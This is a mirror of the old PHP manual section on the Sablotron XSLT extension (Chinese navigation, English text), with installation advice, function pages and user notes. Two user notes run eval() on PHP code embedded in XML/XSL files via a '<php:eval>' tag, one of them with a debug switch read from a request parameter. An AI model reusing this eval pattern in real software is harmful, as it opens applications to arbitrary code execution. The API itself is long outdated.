The only solution I have found is to edit the __autoload() function to look for class names which are used in my XSL files, and manually change them to the correct casing.

Another solution, obviously, is to use all-lowercase class and file names.
add a note add a note

后退 | 起点 | 前进
XSLTProcessor->transformToURI() | 上一级 | XSLT Functions


XSLT Functions

PHP 手册
后退 前进

CLX. XSLT Functions

简介

This PHP extension provides a processor independent API to XSLT transformations. Currently this extension only supports the Sablotron library from the Ginger Alliance. Support is planned for other libraries, such as the Xalan library or the libxslt library.

XSLT (Extensible Stylesheet Language (XSL) Transformations) is a language for transforming XML documents into other XML documents. It is a standard defined by The World Wide Web Consortium (W3C). Information about XSLT and related technologies can be found at http://www.w3.org/TR/xslt.

注: This extension is different than the sablotron extension distributed with versions of PHP prior to PHP 4.1, currently only the new XSLT extension in PHP 4.1 is supported. If you need support for the old extension, please ask your questions on the PHP mailing lists.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.0.0.

注: If you need xslt support with PHP 5 you can use the XSL extension.

需求

This extension uses Sablotron and expat, which can both be found at http://www.gingerall.com/. Binaries are provided as well as source.

安装

On Unix, run configure with the --enable-xslt --with-xslt-sablot options. The Sablotron library should be installed somewhere your compiler can find it.

Make sure you have the same libraries linked to the Sablotron library as those, which are linked with PHP. The configuration options: --with-expat-dir=DIR --with-iconv-dir=DIR are there to help you specify them. When asking for support, always mention these directives, and whether there are other versions of those libraries installed on your system somewhere. Naturally, provide all the version numbers.

注意

Be sure your Sablot library is linked to -lstdc++ as otherwise your configure will fail, or PHP will fail to run or load.

JavaScript E-XSLT support: If you compiled Sablotron with JavaScript support, you must specify the option: --with-sablot-js=DIR.

Note to Win32 Users: In order to enable this module on a Windows environment, you must copy several files from the DLL folder of the PHP/Win32 binary package to the SYSTEM32 folder of your windows machine. (Ex: C:\WINNT\SYSTEM32 or C:\WINDOWS\SYSTEM32). For PHP <= 4.2.0 copy sablot.dll and expat.dll to your SYSTEM32 folder. For PHP >= 4.2.1 copy sablot.dll, expat.dll and iconv.dll to your SYSTEM32 folder.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

XSLT_OPT_SILENT (integer)

Drop all logging and error reporting. This is a generic option for all backends that may be added in the future.

XSLT_SABOPT_PARSE_PUBLIC_ENTITIES (integer)

Tell Sablotron to parse public entities. By default this has been turned off.

XSLT_SABOPT_DISABLE_ADDING_META (integer)

Do not add the meta tag "Content-Type" for HTML output. The default is set during compilation of Sablotron.

XSLT_SABOPT_DISABLE_STRIPPING (integer)

Suppress the whitespace stripping (on data files only).

XSLT_SABOPT_IGNORE_DOC_NOT_FOUND (integer)

Consider unresolved documents (the document() function) non-lethal.

XSLT_SABOPT_FILES_TO_HANDLER (integer)

XSLT_ERR_UNSUPPORTED_SCHEME (integer)

Error return code, for scheme handlers.

目录
xslt_backend_info -- Returns the information on the compilation settings of the backend
xslt_backend_name -- Returns the name of the backend
xslt_backend_version -- Returns the version number of Sablotron
xslt_create -- Create a new XSLT processor
xslt_errno -- Returns an error number
xslt_error -- Returns an error string
xslt_free -- Free XSLT processor
xslt_getopt -- Get options on a given xsl processor
xslt_process -- Perform an XSLT transformation
xslt_set_base -- Set the base URI for all XSLT transformations
xslt_set_encoding -- Set the encoding for the parsing of XML documents
xslt_set_error_handler -- Set an error handler for a XSLT processor
xslt_set_log -- Set the log file to write log messages to
xslt_set_object -- Sets the object in which to resolve callback functions
xslt_set_sax_handler -- Set SAX handlers for a XSLT processor
xslt_set_sax_handlers -- Set the SAX handlers to be called when the XML document gets processed
xslt_set_scheme_handler -- Set Scheme handlers for a XSLT processor
xslt_set_scheme_handlers -- Set the scheme handlers for the XSLT processor
xslt_setopt -- Set options on a given xsl processor

add a note add a note User Contributed Notes
bat at flurf dot net
28-Mar-2006 08:40
maurits says that libxslt should be preferred over Sablotron, but I disagree.  libxslt only implements a fraction of the capabilities of Sablotron; in particular, this doesn't work in libxslt:

   <xsl:variable name="x">
     <a>One</a>
     <a>Two</a>
     <a>Three</a>
   </xsl:variable>

   <xsl:for-each select="$x/a">
     <xsl:value-of select="."/>
   </xsl:for-each>

In Sablotron, which implements XSLT 1.1, this works fine.  In libxslt's version, XSLT 1.0, a variable is a "result tree fragment", not a nodeset, and you are arbitrarily not allowed to do as much with it.

Further, Sablotron allows callbacks via the document() function (see information on xslt_set_scheme_handler()) and appears to give /slightly/ more informative error messages -- they identify the line number in the XSLT file at least.

In general, I can't recommend libxslt, which appears very underpowered.  Sablotron is considerably more impressive.
gabriel a-t bumpt do-t net
05-Feb-2006 06:50
If you need to transform an XML document that specifies the URL of its own prefered stylesheet (using the processing instruction <?xml-stylesheet href="xyz.xsl"?>, you can start by parsing the XML data to retrieve that URL, and then call the xslt_process function using the specified stylesheet :

<?php

/* A small class for stylesheet URL extraction from an XML */

class XMLStylesheet
{
   var $hParser;
   var $xml;
   var $stylesheet;

   function XMLStylesheet($filename)
   {
       $this->hParser = xml_parser_create();
       xml_set_object($this->hParser, $this);
       xml_set_processing_instruction_handler($this->hParser, 'fnProcessingInstruction');
       $this->xml = file_get_contents($filename);
       xml_parse($this->hParser, $this->xml, true);
       xml_parser_free($this->hParser);
   }

   function getStylesheet()
   {
       return $this->stylesheet;
   }

   function fnProcessingInstruction($hParser, $target, $data)
   {
       if($target == 'xml-stylesheet')
       {
           ereg('href="([^"]+)"', $data, $regs);
           $this->stylesheet = $regs[1];
       }
   }
}

/* Now, instanciate an object of this class, given the filename of our XML data */
$xml = new XMLStylesheet('my_data.xml');

/* And finally, retrieve the URL of the stylesheet specified in the XML data. */
$xsl_url = $xml->getStylesheet());

/* Now you can xslt_process as usual. */

?>
maurits at example dot com
06-Dec-2005 07:47
I tried to get Sablotron runnning on a Windows XP - Apache 2 -PHP5 System which is my developement system. I have Sablotron running on a life Linux server. After spending lots of  effort I gave up on Sablotron on Windows.

Then I found out that there is Libxslt, and it is allready working!

I am missing a hint on this page, that Sablotron is not really recommended any more and that people should start to migrate their code to Libxslt.
Jon Dawson
15-Jun-2005 04:23
Getting XSLT running under Red Hat/Plesk 7.5

The PHP installation on my VPS came with '--enable-xslt=shared' '--with-xslt-sablot' '--with-sablot-js=/usr' in the config line. However could not get any transformations to run. Finally got there following these steps:

1. ran 'yum install php-xslt'
2. This installed 'xslt.so' to usr/lib/php4 and other dependencies.
3. Add 'dl('xslt.so');' to the top of your php files you want to perform a translation in. e.g.

dl('xslt.so');
// Allocate a new XSLT processor
$xh = xslt_create();
// Process the document, returning the result into the $result variable
$result = xslt_process($xh, 'test.xml', 'test.xsl');
// Output to browser
echo $result;
Pete Silvester
13-Apr-2005 11:50
When installing on debian using apt/binaries, after installing php4-xslt and sablotron, you may have to add this line to /etc/php4/apache/php.ini :

extension=xslt.so
arossato at istitutocolli dot org
28-Aug-2004 04:12
It is possible to create the xslt extension as a shared object module statically linked with salbot and expat (I needed it for a project hosted in sourceforge where the sablot library is available).
Compile the module as usual:
cd ext/xslt
phpize
./configure --enable-module=so --enable-xslt=shared --with-xslt-sablot --with-expat
make

Then create a statically linked module:
gcc -Wl,-Bstatic -shared  xslt.lo sablot.lo  -o xslt.so  /usr/local/lib/libsablot.a /usr/local/lib/libexpat.a --static-libgcc

change /usr/local/lib/libsablot.a and /usr/local/lib/libexpat.a according to the right path on your system.

You're done!
My xslt.so is 5.2M...
tom at kornack dot com
25-Aug-2004 06:09
If you're wrangling with a plist in Mac OS X: here a bit of code to convert the plist into xml using xslt and then accessing it using simplexml. This was modified from http://www.xmldatabases.org/WK/blog/1086?t=item . Please do post improvements. This has been tested against iPhoto's AlbumData as well as iTunes' data. Enjoy!

<?php
$xsl = new DomDocument();
$xsl->load("plistConvert.xsl");
$inputdom = new DomDocument();
$inputdom->load("iTunes Music Library.xml");
$proc = new XsltProcessor();
$proc->registerPhpFunctions();
$xsl = $proc->importStylesheet($xsl);
$newdom = $proc->transformToDoc($inputdom);
$sxe = simplexml_import_dom($newdom);
print('<pre>');
print_r($sxe->dict);
print('</pre>');
?>

Here's the plistConvert.sxl file:

<?xml version='1.0'?>
<xsl:stylesheet xmlns:xsl  ="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="xml" indent="yes"/>

<xsl:template match="/plist">
  <propertylist>
   <xsl:apply-templates/>
  </propertylist>
</xsl:template>

<xsl:template match="dict">
  <dict>
   <xsl:for-each select="key">
     <xsl:variable name='n1' select='translate(., " ", "_")'/>
     <xsl:variable name='pName'>
       <xsl:choose>
           <!-- Need to do this because number tags like <0> are not valid?! -->
         <xsl:when test='contains("0123456789", substring($n1, 1, 1))'>
           <xsl:value-of select='concat("number_", $n1)'/>
         </xsl:when>
         <xsl:otherwise>
           <xsl:value-of select='$n1'/>
         </xsl:otherwise>
       </xsl:choose>
     </xsl:variable>

     <xsl:element name="{$pName}">
       <xsl:for-each select='following-sibling::*[1]'>
         <xsl:choose>
           <xsl:when test='name() = "dict"'>
             <xsl:apply-templates select='.'/>
           </xsl:when>

           <xsl:when test='name() = "array"'>
             <xsl:attribute name="array">collection</xsl:attribute>
             <xsl:apply-templates/>
           </xsl:when>

           <xsl:when test='name() = "string"'>
             <xsl:value-of select='.'/>
           </xsl:when>

           <xsl:when test='name() = "integer"'>
<!--              <xsl:attribute name="type">integer</xsl:attribute> -->
             <xsl:value-of select='.'/>
           </xsl:when>

           <xsl:when test='name() = "date"'>
<!--              <xsl:attribute name="type">date</xsl:attribute> -->
             <xsl:value-of select='.'/>
           </xsl:when>

           <xsl:when test='name() = "true"'>True</xsl:when>
           <xsl:when test='name() = "false"'>False</xsl:when>
           <xsl:when test='name() = "real"'>
             <xsl:value-of select='.'/>
           </xsl:when>
           <xsl:when test='name() = "data"'>
             <xsl:value-of select='.'/>
           </xsl:when>

           <xsl:otherwise>
             <xsl:message>pListConverter: <xsl:value-of select='name()'/> not implemented!
             </xsl:message>
           </xsl:otherwise>
         </xsl:choose>
       </xsl:for-each>
     </xsl:element>
   </xsl:for-each>
  </dict>
</xsl:template>

<!-- don't pass text thru -->
<xsl:template match="text()|@*">
</xsl:template>

</xsl:stylesheet>
will at NOSPAM dot wdp dot ndo dot co dot uk
17-Nov-2003 06:09
As an update to the previous advice about the undefined references problem when installing PHP with Sablotron, PHP 4.3.4 has a new EXTRA_LDFLAGS_PROGRAM line added to the Makefile. Make sure to add -lstdc++ to this line as well as the EXTRA_LDFLAGS line.
crtn at users dot sourceforge dot net
08-Jun-2003 12:41
Another way to get around the EXPAT-SABLOTRON problems (seg faults) is supposedly to recompile apache with:
--disable-rule=EXPAT
d dot brotherstone at pobox dot com
28-May-2003 12:14
If you get problems with undefined references to gxx_s type stuff, UPDATE LIBTOOL!  I found 1.4.1 worked for some configurations, 1.4.3 worked for almost none, but 1.5 worked for every combination of Sablotron/gettext/sybase/zlib/postgres --with options I tried.

Make sure you follow the advice of adding -lstdc++ to EXTRA_LD_FLAGS in Makefile after you've run ./configure, and BEFORE you've run make (if you issue make, you'll need to do a make clean before you make again, after changing the Makefile, or it still won't work reliably).

Cheers, Dave.
DrTebi at NOSPAM dot yahoo dot NOSPAM dot com
13-May-2003 12:37
I would like to add that there is no problem to install PHP with Sablotron on a Gentoo Linux system (http://www.gentoo.org).

Just make sure you emerged the expat and sablotron packages like so:

emerge expat
emerge sablotron

After this, there should be no linking problem or whatsoever:

./configure --with-xslt --with-sablotron
make

and you should be set ;-)
ohlesbeauxjours at yahoo dot fr
21-Mar-2003 04:18
In reply to Jaron, who needed to evaluate PHP code inside the stylesheet, look at a post I sent about xslt_set_scheme_handlers().
Scheme handlers are very useful, since they allow the XSLT engine and PHP to fully interact (they will communicate through XML strings).

With xslt_set_scheme_handlers(), you can give the XSLT engine an advanced access to the file system (or even to the other I/O interfaces), and perform various tasks (checking the existence of a file, creating new files "on the fly", deleting, etc...)
... all that in only one stylesheet :)

baptiste
aargh at 44rgh dot net
14-Oct-2002 06:47
Compilation on RedHat 7.0 PHP-4.1.2-7.0.4.
Compilation failed when providing --enable-xslt --with-xslt-sablot --with-sablot-js.
Problem was that an additonal flag needed to be specified or the build would fail complaining that js-libs ... could not be found.

LIBS="-lttf -lpng -ljpeg -lz -lnsl -ljs"; export LIBS

The additional flag "-ljs" needed to be set.
jw at shapers dot nl
27-Sep-2002 11:09
In addition to "tk dot lists at fastmail dot fm"'s comment on Windows dependencies: You'll also need iconv.dll in your SYSTEM32 folder. At least, that's what I needed to get it working on my PHP4.2.3-Win install.
gbarattoKILLSPAMMERS at superb dot net
19-Sep-2002 01:55
Regarding the `__gxx_personality_v0' problem described by dennisNOSPAM@infoleak.com, you have to use LDFLAGS=-lstdc++  as well before configuring php (and not apache) when compiling php as a shared object.

Thank you Dennis
matthias-at-mlienau.de
30-Aug-2002 08:52
For those guys who mess up with compiling the current Sablotron 0.95 sources from gingerall.com:

Here is a patch which corrects a typo.
Or - go to src/engine/domprovider.cpp and change "voiD" to "void" in line 558 and compile again...

*** domprovider.cpp.diff        Thu Aug 29 23:32:59 2002
--- domprovider.cpp    Thu Aug 29 23:32:14 2002
***************
*** 555,561 ****
   if (external) cdelete(external);
  }

! void DOMProviderUniversal::setExtProvider(DOMHandler *domh, voiD *data)
  {
   if (external) cdelete(external);
   if (domh)
--- 555,561 ----
   if (external) cdelete(external);
  }

! void DOMProviderUniversal::setExtProvider(DOMHandler *domh, void *data)
  {
   if (external) cdelete(external);
   if (domh)
dennisNOSPAM at infoleak dot com
23-May-2002 12:23
Building Sablotron on Solaris with.
gcc 3.0.3 and native linker
libtool (sunfreeware)
apache 1.3.24
php-4.2.1
sablotron-0.90
expat-1.95.2

When configuring Apache you might experience this error..

libsablot.so: undefined reference to `operator new[](unsigned)'
libsablot.so: undefined reference to `__cxa_call_unexpected'
libsablot.so: undefined reference to `vtable for __cxxabiv1::__si_class_type_info'
libsablot.so: undefined reference to `operator delete(void*)'
libsablot.so: undefined reference to `__gxx_personality_v0'
libsablot.so: undefined reference to `vtable for __cxxabiv1::__class_type_info'
libsablot.so: undefined reference to `operator delete[](void*)'
libsablot.so: undefined reference to `vtable for __cxxabiv1::__vmi_class_type_info'
libsablot.so: undefined reference to `operator new(unsigned)'

To cure it make sure that during the configure stage you feed configure LDFLAGS variable like so.

LDFLAGS=' -lstdc++' ./configure

Otherwise Apache's compiler sanity check will balk.
ken1138 at altavista dot com
11-Jan-2002 06:15
The XSLT functions may experience conflicts with Apache in some configurations, causing random segfaults in httpd.  Apache has included a 'lite' version of expat in their recent distributions, which can cause conflicts with expat.  Apache1.3.22 solves the problem by configuring itself to use the expat you have installed, instead of the built-in. If you compiled Apache before you installed expat, make sure you upgrade and/or recompile your Apache server with the same version of expat that PHP and Sablotron are using.
Jaron dot Schaeffer at jayweb dot de
10-Jan-2002 05:25
I extended the example of Daniel Unterberger even more. I had the problem to evaluate PHP code within my xml data files (e.g. to output database results) and after that apply a xsl stylesheet to the generated data.

When I tried Daniel's solution I found it quite useful but noticed that you can't "print out" from your PHP Code. You're bound to annoying return()-Statements, wich makes it impossible to loop outputs or concatenate strings and then return them. If you try to do so, you will notice that a statement like
...
<php:eval>
  for($i=0; $i<10; $i++)
   echo "This is number ".$i;
</php:eval>
...

will result in PHP to do the output right in the moment when the eval()-Statement is run.

Things do, at least, work fine if you keep it simple:

...
<php:eval>
  return("Hello World!");
</php:eval>
...

I tried to fix that and came to a solution. The following code is just a snippet from my XSLT-class. The uppercase letters are constants defined in a header file. (e.g. define('PHP_EVAL_START_TAG', '<php:eval>');

...
 function xmlString() {

   $fd = fopen($this->xmlFileLocation, 'r');
   $xmlString = fread($fd, filesize($this->xmlFileLocation));
   fclose($fd);

   if($this->contentType == DYNAMIC_CONTENT) {

     while(!(strpos($xmlString, PHP_EVAL_START_TAG) === false)) {

   $startPos = strpos($xmlString, PHP_EVAL_START_TAG);
   $endPos  = strpos($xmlString, PHP_EVAL_END_TAG);

   ob_start();
   eval(substr($xmlString, $startPos + strlen(PHP_EVAL_START_TAG), $endPos - $startPos - strlen(PHP_EVAL_START_TAG)));
   $evaluatedString = ob_get_contents();
   ob_end_clean();

   $xmlString =
       substr($xmlString, 0, $startPos).$evaluatedString.substr($xmlString, $endPos + 11);
     }
   }

   return($xmlString);
  }
...

Jaron.Schaeffer@jayweb.de
sandro_zic at web dot de
28-Aug-2001 09:57
[Editor's note: moved this note here where it belongs - jmcastagnetto@php.net]

This shows how you can use the XSLT functions to add dynamic content to the result tree, i.e. how to hand over parameters to the XSL stylesheet and write to Sablotron's document buffer.

First we assign the value of the parameter to an array in PHP:
-----------------------------------------
$xslt_params["test"] = "Run-time parameter.";
-----------------------------------------

The parameter is envoced in XSL by
-----------------------------------------
<h1>Value of run-time parameter:</h1>
<b><xsl:value-of select="$test" /></b>
<hr/>
-----------------------------------------

Don't forget to define the parameter at the beginning of your stylesheet:
-----------------------------------------
<xsl:param name="test"/>
-----------------------------------------

How can we add dynamic content from a database to the XSLT output? In Sablotron, this is done using the document buffer function.

Retrieve a table's content, store it in a XML structure assigned to an array in PHP:
-----------------------------------------
$xslt_args["buffer1"] =
"
<TestBuffer>
   <Message>
       <Content>
       This is message 1 of buffer 1.
       </Content>
   </Message>
   <Message>
       <Content>
       This is message 2 of buffer 1.
       </Content>
   </Message>
</TestBuffer>
";
-----------------------------------------

This is how you add the buffer to the result tree in your XSL document:
-----------------------------------------
<h1>Dynamic content from document buffer 1:</h1>
<xsl:for-each select="document('arg:/buffer1')/TestBuffer/Message">
   <b><xsl:value-of select="Content" /></b><br/>
</xsl:for-each>
<hr/>
-----------------------------------------

To get the whole thing running, following functions have to be executed:
-----------------------------------------
$processor = xslt_create();
xslt_run ($processor, "file://".$DOCUMENT_ROOT.$xsl_file, "file://".$DOCUMENT_ROOT.$xml_file, "arg:/_result", $xslt_params, $xslt_args);
$result = xslt_fetch_result ($processor);
echo $result;
-----------------------------------------

The complete XSL file looks like this:
-----------------------------------------
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="html" version="1.0" standalone="yes" indent="yes" />

<!-- define parameter -->
<xsl:param name="test"/>

<xsl:template match="/">

<!-- run-time parameter -->
<h1>Value of run-time parameter:</h1>
<b><xsl:value-of select="$test" /></b>
<hr/>

<!-- dynamic content -->
<h1>Dynamic content from document buffer 1:</h1>
<xsl:for-each select="document('arg:/buffer1')/TestBuffer/Message">
   <b><xsl:value-of select="Content" /></b><br/>
</xsl:for-each>
<hr/>

</xsl:template>

</xsl:stylesheet>
-----------------------------------------
d dot u at mail dot com
14-Jun-2001 03:19
... addition to last message

sorry shanx (miss-spelled).
having a full example you must call it like in the shanx-example. Hint dont use echo inside of <php:eval> but return, because it is only string concatenation.

<code>
<?php
##  require "xslt.inc.php";

$xslt = new xsltTransform("life.xsl", "life.xml");
print ($xslt->applyTransformation());

?>
</code>
d dot u at mail dot com
14-Jun-2001 02:43
I extended the example of shanks (very helpful for me tnx), so you can call php inside your xslt file, I had the problem to pass url-parameters and did not understand how to solve it, so I use php.

<code>
<?php

/**
 *
 * A class to transform XML through XSLT using PHP4 Sablotron extension
 *
 */

 #######################################################################
 ## file extended by Daniel Unterberger (d.u@mail.com)
 ## changes: some  php:eval's added

class xsltTransform
{

   var $xsl_file;
   var $xml_file;
   var $fileName;

   /**
     * Constructor to the xsl_transform ticket
     *
     * @param $xsl_file The XSLT file containing the transformation info
     * @param $xml_file The XML file containing the actual data
     * @see readFile()
     */
   function xsltTransform($xsl_file = '', $xml_file = '')
   {
       $this->xsl_string = $this->readFile($xsl_file,'php:eval');
       $this->xml_string = $this->readFile($xml_file);
   }

   /**
     * Function to read through the file
     *
     * @param $fileName Which file to read?
     *
     */
   function readFile($fileName,$php_eval="")
   {
       // get contents of a file into a string
       $fd = fopen( $fileName, "r" );
       $content = fread( $fd, filesize( $fileName ) );
       fclose( $fd );

       ##################################################
       ## extension by Daniel Unterberger (d.u@mail.com)

       while ( $php_eval and ( $pos_start=strpos($content,'<php:eval>') ))
       {
         $pos_end=strpos($content,'</php:eval>');
         $content=substr($content,0,$pos_start).
                   eval( substr($content,$pos_start+10,$pos_end-$pos_start-10) ).
                   substr($content,$pos_end+11);
       }

       if ($GLOBALS["debug"]=="ON") print "<xmp>$content</xmp>";
           ## see xslt-file for debuggin if you call page.php?debug=ON (remove on life-server)

       ###################################################
       ## end extension

       return $content;

   }

   /**
     * Function to apply the actual transformation
     *
     */
   function applyTransformation()
   {
       $this->result = '';
       $this->msg = xslt_process($this->xsl_string, $this->xml_string, $this->result);
       if(!$this->msg) print ("Transformation failed.");
       return $this->result;
   }

// End of class, do not remove
}

?>
</code>

in the xslt you can call it now with

...
<tag><php:eval> return $GLOBALS["filter"]; /* all php allowed */ </php:eval></tag>
...

-------------------------------
hope this gives new inspiration
(d.u)
maximo at migliari dot com
28-Apr-2001 12:31
COMPILING AND INSTALLING SABLOTRON AND EXPAT FOR PHP ON A FREEBSD iServer

0) Prepare your virtual server environment.  Telnet to your iserver and type:
   mkdir -p ~/usr/local/apache/1.3/bin
   ln /usr/bin/make ~/usr/bin/make
   ln /usr/local/apache/1.3/bin/apxs ~/usr/local/apache/1.3/bin/apxs
   ln /usr/local/apache/1.3/bin/httpd ~/usr/local/apache/1.3/bin/httpd

1) download the following files:
   expat-1.95.tar.gz - http://expat.sourceforge.com
   Sablot-0.52.tar.gz - http://www.gingerall.com
   php4-latest.tar.gz - http://snaps.php.net

2) copy these files to ~/usr/local

3) expand all these files uing tar -xvzf

4) go into expat directory and type:
   ./configure --prefix=/usr/home/your_iserver_login_name/usr/local
   make
   make install

   the files will be installed under ~/usr/local/lib and ~/usr/local/include

5) set the following environment variables:
   setenv LD_LIBRARY_PATH /usr/home/your_iserver_login_name/usr/local/lib
   setenv LD_RUN_PATH /usr/home/your_iserver_login_name/usr/local/
   setenv CPLUS_INCLUDE_PATH /usr/home/your_iserver_login_name/usr/local/include
   setenv LIBRARY_PATH /usr/home/your_iserver_login_name/usr/local/lib

6) go into the Sablotron directory and type:
   ./configure --prefix=/usr/home/your_iserver_login_name/usr/local
   make
   make install

7) go into the php directory and type:
   ./configure --with-apxs=/usr/local/apache/1.3/bin/apxs \
   --disable-debug \
   --enable-trans-sid \
   --enable-versioning \
   --enable-ftp \
   --with-mysql=/usr/home/your_iserver_login_name/usr/local/mysql \
   --with-xml \
   --enable-magic-quotes \
   --enable-track-vars \
   --enable-sablot-errors-descriptive \
   --with-sablot=/usr/home/your_iserver_login_name/usr/local \
   --with-expat=/usr/home/your_iserver_login_name/usr/local

   then

   make
   and
   make install

the final command - make install - should give an error about not being able to install pear.
This is normal, as pear tries to copy itself outside of your virtual server space.  Since pear
is not an essential part of PHP - you can ignore this. (maybe there is a command for ./configure
in php that allows us to specify the directory in which pear will be installed?

8) final steps:
   go to ~/usr/local/etc/httpd/conf
   edit httpd.conf
   comment out the LoadModule directive for the previous php .so module.
   not that you should see the new module you just compile already inserted in the httpd.conf as
   the last line of all LoadModule directives. (it should be called libphp4.so

   now just go back to the command prompt after you have edited httpd.conf and type:
   restart_apache

   now go to your httpd document root (usually htdocs), and create a php file with the following
   code in it:

   <?php
     phpinfo();
   ?>

   load the file in your browser, and you should see that everything has been installed properly :)
07-Apr-2001 12:14
Interesting PHP/Sablotron article:

http://www.oreillynet.com/pub/a/onlamp/2001/03/16/sablotron.html
add a note add a note

后退 | 起点 | 前进
XSLTProcessor->transformToXML() | 上一级 | xslt_backend_info


xslt_backend_info

(PHP 4 >= 4.3.0, PECL)

xslt_backend_info -- Returns the information on the compilation settings of the backend

Description

string xslt_backend_info ( void )

xslt_backend_info() returns a string with information about the compilation setting of the backend or an error string when no information available.

参见

xslt_backend_name() 和 xslt_backend_version().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XSLT Functions | 上一级 | xslt_backend_name


xslt_backend_name

(PHP 4 >= 4.3.0, PECL)

xslt_backend_name -- Returns the name of the backend

Description

string xslt_backend_name ( void )

xslt_backend_name() will always return Sablotron.

范例

例子 1. xslt_backend_name() example

<?php

echo xslt_backend_name(); // Sablotron

?>

参见

xslt_backend_info() 和 xslt_backend_version().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xslt_backend_info | 上一级 | xslt_backend_version


xslt_backend_version

(PHP 4 >= 4.3.0, PECL)

xslt_backend_version -- Returns the version number of Sablotron

Description

string xslt_backend_version ( void )

xslt_backend_version() returns the version number of Sablotron if available, FALSE otherwise.

范例

例子 1. xslt_backend_version() example

<?php

echo xslt_backend_version(); // 0.98 for example

?>

参见

xslt_backend_name() 和 xslt_backend_info().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xslt_backend_name | 上一级 | xslt_create


xslt_create

(PHP 4 >= 4.0.3, PECL)

xslt_create -- Create a new XSLT processor

Description

resource xslt_create ( void )

Create and return a new XSLT processor resource for manipulation by the other XSLT functions.

范例

例子 1. xslt_create() example

<?php
function xml2html($xmldata, $xsl)
{
    /* $xmldata -> your XML */
    /* $xsl -> XSLT file */

    $path = 'include';
    $arguments = array('/_xml' => $xmldata);
    $xsltproc = xslt_create();
    xslt_set_encoding($xsltproc, 'ISO-8859-1');
    $html =
        xslt_process($xsltproc, 'arg:/_xml', "$path/$xsl", NULL, $arguments);

    if (empty($html)) {
       die('XSLT processing error: '. xslt_error($xsltproc));
    }
    xslt_free($xsltproc);
    return $html;
}
?>

参见

xslt_free().

add a note add a note User Contributed Notes
Kerry Kobashi
29-Mar-2005 11:29
It should be noted that xslt_create() will return FALSE in the case of failure (Sablotron processor could not be created).

This, obtained from looking at the source code extension.
garth at webconexion dot net
18-Sep-2003 08:23
In order to pass PHP variables into an XSL document you need to do the following:

Firstly I created the following function to use:

function GetXHTML($sXML, $sXSL, $aParameters)
{
   $hXML = xslt_create();
   $aArguments = array('/_xml' => $sXML, '/_xsl' => $sXSL);
   $sXHTML = xslt_process($hXML, 'arg:/_xml', 'arg:/_xsl', NULL, $aArguments, $aParameters);
   xslt_free($hXML);
   return $sXHTML;
}

Then call it like thus, passing the XML and XSL as a string with the final parameter being an array which can contain as many values as you wish to pass in:

$sXHTML = GetXHTML($sXML, $sXSL, array("age"=>"26"));

Then in the XSL document you need the following:

<xsl:param name="age" />

Then where you want to display the value of age you do this:

<xsl:value-of select="$age" />

Thanks now.
add a note add a note

后退 | 起点 | 前进
xslt_backend_version | 上一级 | xslt_errno


xslt_errno

(PHP 4 >= 4.0.3, PECL)

xslt_errno -- Returns an error number

Description

int xslt_errno ( resource xh )

Returns an error code describing the last error that occurred on the passed XSLT processor.

参见

xslt_error().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xslt_create | 上一级 | xslt_error


xslt_error

(PHP 4 >= 4.0.3, PECL)

xslt_error -- Returns an error string

Description

string xslt_error ( resource xh )

Returns a string describing the last error that occurred on the passed XSLT processor.

范例

例子 1. Handling errors using the xslt_error() and xslt_errno() functions.

<?php

$xh = xslt_create();
$result = xslt_process($xh, 'dog.xml', 'pets.xsl');
if (!$result) {
    die(sprintf("Cannot process XSLT document [%d]: %s",
                xslt_errno($xh), xslt_error($xh)));
}

echo $result;

xslt_free($xh);
?>

参见

xslt_errno().

add a note add a note User Contributed Notes
mikes at ayeltd dot biz
05-Jan-2004 09:18
There may be cases where a null $result is legitimate, in this case add a test for non-zero xlst_errno:

<?php

$xh = xslt_create();
$result = xslt_process($xh, 'dog.xml', 'pets.xsl');
if (!$result && xslt_errno($xh) > 0) {
   die(sprintf("Cannot process XSLT document [%d]: %s",
               xslt_errno($xh), xslt_error($xh)));
}

echo $result;

xslt_free($xh);
?>
add a note add a note

后退 | 起点 | 前进
xslt_errno | 上一级 | xslt_free


xslt_free

(PHP 4 >= 4.0.3, PECL)

xslt_free -- Free XSLT processor

Description

void xslt_free ( resource xh )

Free the XSLT processor identified by the given handle.

参见

xslt_create()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xslt_error | 上一级 | xslt_getopt


xslt_getopt

(PHP 4 >= 4.3.0, PECL)

xslt_getopt -- Get options on a given xsl processor

Description

int xslt_getopt ( resource processor )

xslt_getopt() returns the options on the given processor.

参见

xslt_setopt().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xslt_free | 上一级 | xslt_process


xslt_process

(PHP 4 >= 4.0.3, PECL)

xslt_process -- Perform an XSLT transformation

Description

mixed xslt_process ( resource xh, string xmlcontainer, string xslcontainer [, string resultcontainer [, array arguments [, array parameters]]] )

The xslt_process() function is the crux of the new XSLT extension. It allows you to perform an XSLT transformation using almost any type of input source - the containers. This is accomplished through the use of argument buffers -- a concept taken from the Sablotron XSLT processor (currently the only XSLT processor this extension supports). The input containers default to a filename 'containing' the document to be processed. The result container defaults to a filename for the transformed document. If the result container is not specified - i.e. NULL - than the result is returned.

警告

This function has changed its arguments, since version 4.0.6. Do NOT provide the actual XML or XSL content as 2nd and 3rd argument, as this will create a segmentation fault, in Sablotron versions up to and including 0.95.

Containers can also be set via the $arguments array (see below).

The simplest type of transformation with the xslt_process() function is the transformation of an XML file with an XSLT file, placing the result in a third file containing the new XML (or HTML) document. Doing this with sablotron is really quite easy...

例子 1. Using the xslt_process() to transform an XML file and a XSL file to a new XML file

<?php

// Allocate a new XSLT processor
$xh = xslt_create();

// Process the document
if (xslt_process($xh, 'sample.xml', 'sample.xsl', 'result.xml')) {
    echo "SUCCESS, sample.xml was transformed by sample.xsl into result.xml";
    echo ", result.xml has the following contents\n<br />\n";
